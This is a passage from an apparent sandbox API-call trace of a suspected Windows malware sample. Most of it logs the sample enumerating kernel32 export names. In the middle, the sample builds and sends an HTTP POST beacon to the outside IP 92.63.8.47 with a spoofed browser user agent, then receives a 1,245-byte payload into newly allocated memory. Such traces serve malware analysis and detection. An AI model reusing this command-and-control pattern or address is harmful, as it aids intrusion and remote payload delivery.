[0084.952] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0084.952] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0084.952] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0084.952] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0084.952] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0084.952] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0084.952] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0084.953] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0084.953] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0084.953] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0084.953] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0084.953] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0084.953] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0084.953] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0084.953] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0084.953] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0084.953] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0084.953] lstrlenA (lpString="CREATETHREAD") returned 12 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0084.953] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0084.953] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0084.953] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0084.953] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0084.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0084.953] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0084.954] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0084.954] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0084.954] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0084.954] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0084.954] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0084.954] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0084.955] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0084.955] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0084.955] wsprintfA (in: param_1=0x30a0000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /register/forum/abage.asp?y=8mxva3 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.8.47\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 250 [0084.956] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0084.956] send (s=0x370, buf=0x30a0000*, len=471, flags=0) returned 471 [0084.957] shutdown (s=0x370, how=1) returned 0 [0084.957] recv (in: s=0x370, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0085.069] recv (in: s=0x370, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0085.069] recv (in: s=0x370, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0085.069] recv (in: s=0x370, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0085.069] recv (in: s=0x370, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0085.069] recv (in: s=0x370, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0085.069] recv (in: s=0x370, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0085.069] recv (in: s=0x370, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0085.070] recv (in: s=0x370, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0085.071] recv (in: s=0x370, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0085.096] recv (in: s=0x370, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0085.096] recv (in: s=0x370, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0085.096] recv (in: s=0x370, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0085.096] recv (in: s=0x370, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0085.096] recv (in: s=0x370, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0085.096] recv (in: s=0x370, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0085.097] recv (in: s=0x370, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0085.098] recv (in: s=0x370, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0085.099] recv (in: s=0x370, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0085.100] recv (in: s=0x370, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0085.101] recv (in: s=0x370, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0085.102] recv (in: s=0x370, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0085.103] recv (in: s=0x370, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0085.104] recv (in: s=0x370, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0085.120] recv (in: s=0x370, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0085.121] recv (in: s=0x370, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0085.122] recv (in: s=0x370, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0085.123] StrToIntA (lpSrc="1245") returned 1245 [0085.123] VirtualAlloc (lpAddress=0x0, dwSize=0x4dd, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0085.123] recv (in: s=0x370, buf=0x30b0000, len=1245, flags=0 | out: buf=0x30b0000*) returned 1245 [0085.123] VirtualFree (lpAddress=0x3050000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.124] VirtualFree (lpAddress=0x3060000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.124] VirtualFree (lpAddress=0x30a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.124] closesocket (s=0x370) returned 0 [0085.124] WSACleanup () returned 0 [0085.354] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.354] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.355] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.355] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.355] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.356] lstrlenA (lpString="kernel32.dll") returned 12 [0085.356] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0085.356] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0085.356] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0085.356] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0085.356] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0085.356] lstrlenA (lpString="ADDATOMA") returned 8 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0085.356] lstrlenA (lpString="ADDATOMW") returned 8 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0085.356] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0085.356] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0085.356] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0085.357] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0085.357] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0085.357] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0085.357] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0085.357] lstrcpyA (in: 